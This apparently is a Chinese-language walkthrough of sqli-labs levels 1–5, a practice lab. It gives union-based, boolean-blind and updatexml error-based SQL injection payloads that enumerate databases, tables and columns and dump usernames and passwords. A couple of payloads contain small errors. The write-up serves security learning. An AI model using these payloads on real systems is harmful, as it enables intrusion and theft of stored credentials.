sql-labs less-1-5wp

目录标题

less-1

判断列数

使用注释符可以将报错信息注释掉

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

查找数据库和版本信息

数据库:security

php 复制代码
?id=-1' union select 1,version(),database() --+

查找数据库中的表

表:emails,referers,uagents,users

php 复制代码
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列:id,username,password

php 复制代码
?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

php 复制代码
-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

php 复制代码
$sql="select * from tables where id=1 ";

判断注释符和回显点

2,3列回显

爆破

数据库和版本信息

爆破security数据库的表

php 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

爆破users表的列名

php 复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆破表中数据

php 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-3

判断类型

输入2-1还是2的结果,字符型注入

判断注释符和回显点

可以看到报错信息

需要使用引号和)报错,注释符%23

利用方式闭合,一共有3列,回显点2,3列

爆破

爆破版本号和数据库

php 复制代码
?id=-1') union select 1,version(),database() %23

爆数据库下的表

拿到几个数据表

php 复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

爆表下的列

拿到3个数据列

php 复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

爆xx列的数据

拿到数据

php 复制代码
?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

Less-4

观察报错信息

php 复制代码
 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

与less-3相比,闭合方式发生了变化

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

看看注入类型,字符型

报错回显如下,双引号不报错,单引号报错

php 复制代码
$sql="select * from xxx where $id="" ";

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是bool注入

可以利用**--+**注释

判断列数和回显点

利用order by 判断为4报错

可以看到有3列

使用union判断回显点,但是只返回次字符串

盲注攻击

攻击流程如下

php 复制代码
#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8

#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可

#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

无回显,说明数据库长度为8,即小于9

为8

判断数据库名称

无回显,说明第一个字符不位d

抓包添加变量,准备爆破

成功爆破出第一个字符s

剩下的字符一个个爆破即可

报错注入

php 复制代码
# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是'~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

查询其他表名

查询users表下的字段

查询字段下的数据

相关推荐
歪歪1001 小时前
如何在项目中选择使用HTTP还是WebSocket?
网络·websocket·网络协议·计算机网络·http·网络安全
武昌库里写JAVA2 小时前
Java 设计模式在 Spring 框架中的实践:工厂模式与单例模式
java·vue.js·spring boot·sql·学习
千里码aicood2 小时前
springboot+vue心理健康服务小程序(源码+文档+调试+基础修改+答疑)
数据库·vue.js·spring boot
麦兜*2 小时前
Redis高可用架构设计:主从复制、哨兵、Cluster集群模式深度对比
java·数据库·spring boot·redis·spring·spring cloud·缓存
王嘉俊9252 小时前
Redis 入门:高效缓存与数据存储的利器
java·数据库·redis·后端·spring·缓存·springboot
知攻善防实验室2 小时前
大洞,速修,Redis远程命令执行漏洞。
安全·网络安全·渗透测试
王维2 小时前
【shardingsphere-jdbc】分表实践
java·数据库
xxy.c2 小时前
基于IMX6ULL芯片--I2C总线简单应用
数据库·mongodb
cookqq2 小时前
MongoDB源码分析慢日志:从配置到实现的完整解析
数据库·mongodb·nosql·慢日志
8K超高清2 小时前
汇世界迎全运 广州国际社区运动嘉年华举行,BOSMA博冠现场展示并分享与科技全运的故事
运维·服务器·网络·数据库·人工智能·科技